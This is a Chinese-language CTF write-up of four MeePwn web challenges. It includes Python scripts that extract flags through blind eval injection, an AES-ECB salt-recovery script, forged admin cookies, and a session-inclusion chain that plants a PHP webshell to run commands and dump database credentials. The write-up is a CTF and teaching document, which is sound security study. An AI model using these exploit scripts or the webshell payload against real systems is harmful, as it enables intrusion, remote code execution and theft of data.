前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MeePwn-Web复现

MeePwn-Web复现

作者头像
安恒网络空间安全讲武堂
发布2018-08-17 17:46:21
9700
发布2018-08-17 17:46:21
举报

web1-OmegaSector

题目链接:http://138.68.228.12/

html注释中:

访问:http://138.68.228.12/?is_debug=1

得到回显

发现网站源码,这里给出关键部分:

flag的位置:

代码语言:javascript
复制
1ini_set("display_errors", 0); 
2include('secret.php'); 

两个跳转功能:

代码语言:javascript
复制
 1if($whoareyou==="alien.somewhere.meepwn.team") 
 2{ 
 3    if(!isset($_GET['alien'])) 
 4    { 
 5        $wrong = <<<EOF 
 6.......(省略)
 7EOF; 
 8        echo $wrong; 
 9    } 
10    if(isset($_GET['alien']) and !empty($_GET['alien'])) 
11    { 
12         if($_GET['alien']==='@!#$@!@@') 
13        { 
14            $_SESSION['auth']=hash('sha256', 'alien'.$salt); 
15            exit(header( "Location: alien_sector.php" )); 
16        } 
17        else 
18        { 
19            mapl_die(); 
20        } 
21    } 
22} 

这里有一个链接的跳转header( "Location: alien_sector.php" ),但是需要$_GET['alien']==='@!#$@!@@'

然后紧接着

代码语言:javascript
复制
 1elseif($whoareyou==="human.ludibrium.meepwn.team") 
 2{
 3 if(!isset($_GET['human'])) 
 4    { 
 5        echo ""; 
 6        $wrong = .......(省略)
 7        echo $wrong; 
 8    } 
 9    if(isset($_GET['human']) and !empty($_GET['human'])) 
10    { 
11         if($_GET['human']==='Yes') 
12        { 
13            $_SESSION['auth']=hash('sha256', 'human'.$salt); 
14            exit(header( "Location: omega_sector.php" )); 
15        } 
16        else 
17        { 
18            mapl_die(); 
19        } 
20    } 
21}

这里也有一个不同的跳转omega_sector.php,需要$_GET['human']==='Yes'

whoareyou的来源:

代码语言:javascript
复制
 1$remote=$_SERVER['REQUEST_URI']; 
 2if(strpos(urldecode($remote),'..')) 
 3{ 
 4mapl_die(); 
 5} 
 6if(!parse_url($remote, PHP_URL_HOST)) 
 7{ 
 8    $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI']; 
 9} 
10$whoareyou=parse_url($remote, PHP_URL_HOST); 

攻击思路:

很明显,第一步是要过这里的whoareyou解析

我们必须访问题目的链接http://138.68.228.12/,但是又需要它将host解析成

alien.somewhere.meepwn.team或human.ludibrium.meepwn.team

那么这里就可以利用Burp抓包修改bypass

显然成功触发了302跳转

我们跟一下

成功来到了alien_sector.php页面

经过fuzz,不难发现,这个页面只允许输入符号,而数字和字母是非法的

type控制文件后缀,message控制文件内容

另一边,omega_sector.php是一样的,我就不再赘述,是只允许字母和数字,不允许任何符号

而对于符号,我立刻就想到了利用?来通配bypass的trick,而对于php标签,在Solveme.peng.kr中遇到过:

http://www.freebuf.com/articles/web/165537.html

类似于

代码语言:javascript
复制
1<?=$flag='123';?>

可以解析为

代码语言:javascript
复制
1<?php
2$flag='123';
3echo $flag;
4?>

而对于通配符,早在geekgame中我也遇到过:

http://skysec.top/2017/10/28/geekgame%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/#%E4%BD%A0%E7%9A%84%E5%90%8D%E5%AD%97

所以这里可以用?来通配命令

例如

我们可以利用/???/???来通配/bin/cat

而flag文件

代码语言:javascript
复制
1../secret.php

可以用

代码语言:javascript
复制
1../??????.???

简单测试

访问该文件得到

it works!

payload

综上所述,可以得到payload

为什么使用重定向:因为我尝试过直接读取,但是貌似太大了,页面一直在加载中,很难受

访问该页面,下载重定向文件,即可看到flag

web2-PyCalx

题目链接:http://178.128.96.203/cgi-bin/server.py?value1=123&op=%3D%3D&value2=123

题目直接给出了源码(给出关键部分)

源码分析:

代码语言:javascript
复制
 1#!/usr/bin/env python
 2import cgi;
 3import sys
 4from html import escape
 5
 6FLAG = open('/var/www/flag','r').read()
 7if 'source' in arguments:
 8    source = arguments['source'].value
 9else:
10    source = 0
11
12if source == '1':
13    print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')
14
15if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:
16    def get_value(val):
17        val = str(val)[:64]
18        if str(val).isdigit(): return int(val)
19        blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
20        if val == '' or [c for c in blacklist if c in val] != []:
21            print('<center>Invalid value</center>')
22            sys.exit(0)
23        return val
24
25    def get_op(val):
26        val = str(val)[:2]
27        list_ops = ['+','-','/','*','=','!']
28        if val == '' or val[0] not in list_ops:
29            print('<center>Invalid op</center>')
30            sys.exit(0)
31        return val
32
33    op = get_op(arguments['op'].value)
34    value1 = get_value(arguments['value1'].value)
35    value2 = get_value(arguments['value2'].value)
36
37    if str(value1).isdigit() ^ str(value2).isdigit():
38        print('<center>Types of the values don\'t match</center>')
39        sys.exit(0)
40
41    calc_eval = str(repr(value1)) + str(op) + str(repr(value2))
42
43    print('<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>')
44    print('>>>> print('+escape(calc_eval)+')')
45
46    try:
47        result = str(eval(calc_eval))
48        if result.isdigit() or result == 'True' or result == 'False':
49            print(result)
50        else:
51            print("Invalid") # Sorry we don't support output as a string due to security issue.
52    except:
53        print("Invalid")

代码很好理解,接收了4个参数,对其中3个参数进行check(source参数不check)然后拼接3个参数,进行命令执行判断执行结果是否为bool值或者数字,如果是,则输出,反之则输出无效

那我们的思路也很简单了,bypass过滤,执行命令,读取/var/www/flag

而过滤如下:

代码语言:javascript
复制
11.对于value:最长为64,不可出现黑名单字符'( ) [ ] ' " '
22.对于op:最长为2,必须以白名单开头'+ - / * = !'
33.value1和value2的类型必须一样,要么都为数字,要么都为字符串

攻击思路:

这里想要命令执行显然比较困难

但是题目暗示明显,想让我们进行运算比较

那这就和sql注入很相似了,我们只需要构造两个值进行比较即可

而题目意图也很直接,关于op,留下了2个字符长度,却只过滤了一个

我们知道python中,+除了运算符的加,也可以当做拼接符

而#可以用于注释

那么就可以进行注入闭合了

代码语言:javascript
复制
1value1=a
2op=+'
3value2= < b#

此时我们可以发现语句变成了

代码语言:javascript
复制
1'a'+''<b#'

但是这样是无效的,因为b不是一个已定义的变量

所以这里想到引入已定义的变量进行注入

那么能控制的也只有source、value1了(因为value2无法引入单引号)

此时还只能构造已定义变量的表达式,所以想到了

代码语言:javascript
复制
1value1+FLAG<vaule1+source

这样的表达式

对于source的值,我们可以控制

代码语言:javascript
复制
1if 'source' in arguments:
2    source = arguments['source'].value

故此可以得到如下的payload:

代码语言:javascript
复制
1source=M&value1=sky&value2=+FLAG<value1+source#&op=+'

这样一来就可以得到比较式

代码语言:javascript
复制
1'x'+''+FLAG<value1+source

而value1正是前面的x,我们可以利用能控制的source比较出FLAG

这也是sql注入中常见的手段

注入脚本:

代码语言:javascript
复制
 1import requests
 2import urllib
 3source="M"
 4v2="+FLAG<value1+source#"
 5op="+'"
 6
 7for i in range(1,1000):
 8    tmp = source
 9    for j in range(33,127):
10        tmp += chr(j)
11        url = "http://178.128.96.203/cgi-bin/server.py?source=%s&value1=sky&value2=%s&op=%s"%(urllib.quote(tmp),urllib.quote(v2),urllib.quote(op))
12        s=requests.get(url=url)
13        tmp = source
14        if "True" in s.content[765:780]:
15            source += chr(j-1)
16            print source
17            break

运行结束即可得到flag

web3-PyCalx2

这里变成了加强版,有了我之前说的op过滤

我们对比一下两者源码,只有这一处改动

代码语言:javascript
复制
1 op = get_op(get_value(arguments['op'].value))

也就是说加入了黑名单过滤

我们的op不能再引入( ) [ ] ' "

那么引号肯定是不能直接像sql注入那样闭合了

攻击思路

这里就用到了python3.6的新特性

https://www.python.org/dev/peps/pep-0498/

即以f 开头,表达式放在大括号{}里,在运行时表达式会被计算并替换成对应的值。

那么我们可以利用op=+f来进行bypass

为了有办法辨识正确性,所以引入了0和1做对比

但是因为结果只允许True和False

在保证区分度的情况下,还得构造出True

这里就用到了14:x

正如图中所示,其经过表达式后,值为e

而表达式中,如果是0的话,那么输出则为True,如果为1的话,那么输出则不是True,也就是无效

这样就有了辨识度,可以进行注入了

直接将0和1的位置改成FLAG<source进行比较即可

攻击脚本:

代码语言:javascript
复制
 1import requests
 2import urllib
 3source="M"
 4v2="ru{FLAG<source or 14:x}"
 5op="+f"
 6
 7for i in range(1,1000):
 8    tmp = source
 9    for j in range(33,127):
10        tmp += chr(j)
11        url = "http://206.189.223.3/cgi-bin/server.py?source=%s&value1=T&value2=%s&op=%s"%(urllib.quote(tmp),urllib.quote(v2),urllib.quote(op))
12        s=requests.get(url=url)
13        tmp = source
14        if "True" not in s.content[765:780]:
15            source += chr(j-1)
16            print source
17            break

运行后得到flag

web4-Mapl Story

题目链接:http://178.128.87.16/

题目源码下载:

https://ctf.meepwn.team/attachments/web/MaplStory_f7056ad79428f636ca4e92f283727818ecc0dd70ecb95f8a12e2764df0946022.zip

代码分析

拿到代码后,发现不是框架写的,那么就从入口入手吧

审计index.php

代码语言:javascript
复制
1if(isset($_GET['page']) && !empty($_GET['page']))
2{
3    include($_GET['page']);
4}
5else
6{
7    header("Location: ?page=login.php");
8}

不难发现存在文件包含问题,这里暂时记下

然后跟着跳转来到Login.php

代码语言:javascript
复制
 1if( $count === 1 && $row['userPass']===$password ) 
 2            {
 3                $secure_email=encryptData($row['userEmail'],$salt,$key);
 4                $secure_name=encryptData($row['userName'],$salt,$key);
 5                $log_content='['.date("h:i:sa").' GMT+7] Logged In';
 6                $_SESSION['character_name'] = $secure_name;
 7                $_SESSION['user'] = $secure_email;
 8                $_SESSION['action']=$log_content;
 9                if ($row['userIsAdmin']==='1')
10                {
11                    $data='admin'.$salt;
12                    $role=hash('sha256', $data);
13                    setcookie('_role',$role);
14                }
15                else
16                {
17                    $data='user'.$salt;
18                    $role=hash('sha256', $data);
19                    setcookie('_role',$role);      
20                }
21                header("Location: ?page=home.php");
22            } 

登录成功后,将会把登录的身份+盐的sha256赋值给cookie的_role

我们继续跟进到admin.php,看是否使用_role判断是否为admin

关键代码

代码语言:javascript
复制
 1<?php
 2    ob_start();
 3    require_once('dbconnect.php');
 4    require_once('mapl_library.php');
 5    check_access();
 6    is_login();
 7
 8    //setup config
 9    $configRow=config_connect($conn);
10    $salt=$configRow['mapl_salt'];
11    $key=$configRow['mapl_key'];
12
13    //get information
14    $mail=mysqli_real_escape_string($conn,decryptData($_SESSION['user'],$salt,$key));
15    $character_name=mysqli_real_escape_string($conn,decryptData($_SESSION['character_name'],$salt,$key));
16    $userRow=user_connect($conn,$mail);
17    $admin=is_admin($salt);
18    if($admin===0)
19    {
20        mapl_die();
21    }
22    $log_content='['.date("h:i:sa").' GMT+7] Access Hidden Street!';
23    $_SESSION['action']=$log_content;
24?>

我们跟进is_admin()函数

代码语言:javascript
复制
1    function is_admin($salt)
2    {
3        if(isset($_COOKIE['_role']) && !empty($_COOKIE['_role']) && $_COOKIE['_role']===hash('sha256', 'admin'.$salt))
4        {
5            return 1;
6        }
7            return 0;
8    }

发现的确是使用cookie中的_role来确认admin的身份

那么现在的思路很简单,伪造cookie,变成admin,触发下一步功能

第一步攻击思路:

那么既然需要伪造cookie,就必须知道salt的值

我们全局搜索一下$salt,不难发现

代码语言:javascript
复制
1function encryptData($data,$salt,$key)
2    {
3            $encrypt=openssl_encrypt($data.$salt,"AES-128-ECB",$key);
4            $raw=base64_decode($encrypt);
5            $final=implode(unpack("H*", $raw));
6            return $final;
7    }

因为有做过CBC的Padding Oracle Attack,所以我知道这里的ECB可能也存在问题

或许可以用类似的方法,得到$salt的明文

而我们知道这个函数的调用点在login的时候

代码语言:javascript
复制
1$secure_email=encryptData($row['userEmail'],$salt,$key);            
2$secure_name=encryptData($row['userName'],$salt,$key);
3$_SESSION['character_name'] = $secure_name;
4$_SESSION['user'] = $secure_email;

值是存在session里的,那我们如何看到这个值呢?

这就要用到最开始的文件包含了

文件包含的时候包含session是一种常见的手段

一般用于getshell等(N1CTF等各大比赛就曾出现过)

这里我们可以使用包含读取session的变量值

http://178.128.87.16/?page=/var/lib/php/sessions/sess_81nfo68a16biqs4miuu17146n3

得到内容

代码语言:javascript
复制
1character_name|s:64:"28288a94081dcbd325417d83957b9305080a355c37b4654ec2a5813f81dbe98b";user|s:64:"c15b9c9a37650c56d735659c9e77af8675d32841afa09ffe1f2c633855139005";action|s:28:"[12:56:31pm GMT+7] Logged In";

于是我们得到了加密过的

代码语言:javascript
复制
1$secure_email:c15b9c9a37650c56d735659c9e77af8675d32841afa09ffe1f2c633855139005
2$secure_name:28288a94081dcbd325417d83957b9305080a355c37b4654ec2a5813f81dbe98b

那么怎么利用这一点得到$salt呢?

这里可以利用相似Padding Oracle Attack的解法,但是简单的多

1.假设明文为:skycool, salt的值为:Whitzard

2.加密的时候就会变成string:skycoolWhitzard

而如果8个一组进行加密的话

skycoolW为第一组

hitzard+(padding)为第二组

那么如果我们注册一个用户名为skycool的用户,得到他的$secure_name

然后不断更新用户名

skycoola

skycoolb

.....

直到第一个分组的密文等于之前的$secure_name

即skycoolW

此时就得到了第一个salt的值:W

所以总体过程为

skycoolW

skycooWhitzard

skycoWhi

skycWhit

skyWhitz

skWhitza

sWhitzar

Whitzard

而这里是16个一组,所以如图,我们不断往后爆破即可得到salt

即注册skyskyskyskysky即可,然后利用

http://178.128.87.16/index.php?page=setting.php

即可更改用户名,不断进行爆破,即可得到salt

salt爆破脚本:

代码语言:javascript
复制
 1import requests
 2import string
 3phpsession = "alsobtmcmlh2i057l1q8qg8g72"
 4phprole = "8e1c59c3fdd69afbc97fcf4c960aa5c5e919e7087c07c91cf690add608236cbe"
 5
 6def readname():
 7    url = "http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_"+phpsession
 8    r = requests.get(url=url)
 9    return r.content[21:85]
10
11def changname(username):
12    url = "http://178.128.87.16/index.php?page=setting.php"
13    data = {
14        "name":username,
15        "submit":"Edit"
16    }
17    cookie = {
18        "PHPSESSID":phpsession,
19        "_role":phprole
20    }
21    s = requests.post(url=url,data=data,cookies=cookie)
22
23def getsalt():
24    tmp_name = 'skyskyskyskysky'
25    salt = ''
26    for i in range(15, -1, -1):
27        changname(tmp_name[:i])
28        cmp = readname()[:32]
29        if i==0:
30            cmp = readname()[32:64]
31        for j in string.printable:
32            changname(tmp_name[:i] + salt + j)
33            if cmp == readname()[:32]:
34                salt += j
35                print salt
36                break
37
38getsalt()

运行即可得到salt:ms_g00d_0ld_g4m3

第二步攻击思考

有了salt,第一件事肯定是伪造cookie的_role

我们根据

代码语言:javascript
复制
1if ($row['userIsAdmin']==='1')
2{
3    $data='admin'.$salt;
4    $role=hash('sha256', $data);
5    setcookie('_role',$role);
6}

伪造cookie:

代码语言:javascript
复制
1import hashlib
2def sha256(name,salt):
3    sha = hashlib.sha256(name+salt)
4    encrypts = sha.hexdigest()
5    return encrypts
6salt = 'ms_g00d_0ld_g4m3'
7name = 'admin'
8print sha256(name,salt)

得到

a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054

此时成功伪造admin,登入admin.php页面

然后我们看一下admin.php的代码

代码语言:javascript
复制
 1 <?php
 2    if ( isset($_POST['pet']) && !empty($_POST['pet']) && isset($_POST['email']) && !empty($_POST['email']) )
 3    {
 4        $dir='./upload/'.md5($salt.$_POST['email']).'/';
 5        give_pet($dir,$_POST['pet']);
 6        if(check_available_pet($_POST['pet']))
 7        {
 8                $log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);
 9                $_SESSION['action']=$log_content;
10        }
11    }
12    ?>

这里有一个地方非常瞩目,因为我之前有说过,包含session文件getshell是比较常见的一个思路

那么这里有一个可控的session变量就显得尤为危险

我们看一下构造

代码语言:javascript
复制
1$log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);

跟进search_name_by_mail()

代码语言:javascript
复制
 1function search_name_by_mail($conn,$mail)
 2    {
 3        $mail=mysqli_real_escape_string($conn,$mail);
 4        $res=mysqli_query($conn,"SELECT userName FROM users WHERE userEmail='".$mail."'");
 5        $userRow=mysqli_fetch_array($res);
 6        if($userRow['userName'])
 7        {
 8            return $userRow['userName'];
 9        }
10        else
11        {
12            return '[Not Exists Player]';
13        }
14    }

发现成功返回用户名,也就是说这里可以将用户名写入session

而用户名是可控的,但是必须经过黑名单过滤

代码语言:javascript
复制
1$too_bad="/(fuck|bakayaro|ditme|bitch|caonima|idiot|bobo|tanga|pin|gago|tangina|\/\/|damn|noob|pro|nishigou|stupid|ass|\(.+\)|`.+`|vcl|cyka|dcm)/is";

除了过滤了一些脏话,有一个正则非常难受

代码语言:javascript
复制
1|\(.+\)|`.+`|

而这个过滤是针对全局的get和post的,这样我们就不能直接利用用户名+session getshell了

所以这里就要用到最后一个尚未被使用的功能了:

http://178.128.87.16/index.php?page=character.php

跟一下代码

代码语言:javascript
复制
 1if(isset($_POST['command']) && !empty($_POST['command']))
 2{
 3    if(strlen($_POST['command'])>=20)
 4    {
 5        echo '<center><strong>Too Long</strong></center>';
 6    }
 7    else
 8    {
 9        save_command($mail,$salt,$_POST['command']);
10        header("Refresh:0");
11    }
12}

这里跟踪save_command()

代码语言:javascript
复制
1    function save_command($email,$salt,$data)
2    {
3        $dir='./upload/'.md5($salt.$email);
4        file_put_contents($dir.'/command.txt', $data);
5    }

发现是写文件

那么我们思考一下,可否包含自己写的文件进行getshell呢?

但是问题又来了,文件的内容是post形式的,那么还是要经过过滤,这就非常尴尬了

有没有什么可以绕过过滤的方法呢?

我们知道cookie是未被过滤的,而我们可控的点有一个txt的文件写入和一个php文件的内容,但是都要经过过滤

这里有一个比较好的思路

构造一个名为

代码语言:javascript
复制
1<?=include"$_COOKIE[a]

的用户名

然后利用发送宠物,将其写入session

此时,我们就在cookie里有了文件包含的方法,这样就可以轻松bypass过滤

然后我们在写文件的地方,写入小马的base64

再利用伪协议包含这个文件,即可解码成功,并包含小马,达到getshell的目的

攻击流程:

1.修改自己的用户名为:

代码语言:javascript
复制
1<?=include"$_COOKIE[a]

2.admin.php发送宠物给自己

3.character.php给宠物下命令PD89YCRfR0VUW2ZdYDs

代码语言:javascript
复制
1<?=`$_GET[f]`;

然后在自己的session页面

http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_860rofo88uaj96mrs8u2ufk0k6

增加cookie:

a=php://filter/convert.base64-decode/resource=upload/783691d030e4c77da08982a705ff9e76/command.txt

利用伪协议解码小马,并包含进来

即可成功执行命令

然后读取dbconnect.php

代码语言:javascript
复制
1define('DBHOST', 'localhost');
 2    define('DBUSER', 'mapl_story_user');
 3    define('DBPASS', 'tsu_tsu_tsu_tsu'); 
 4    define('DBNAME', 'mapl_story');
 5
 6    $conn = mysqli_connect(DBHOST,DBUSER,DBPASS,DBNAME);
 7
 8    if ( !$conn ) {
 9        die("Connection failed : " . mysql_error());
10    }

连接并查询数据库

代码语言:javascript
复制
1echo 'SELECT * FROM mapl_config;'| mysql -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story

得到flag

-END-

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-08-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
腾讯云代码分析
腾讯云代码分析(内部代号CodeDog)是集众多代码分析工具的云原生、分布式、高性能的代码综合分析跟踪管理平台,其主要功能是持续跟踪分析代码,观测项目代码质量,支撑团队传承代码文化。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档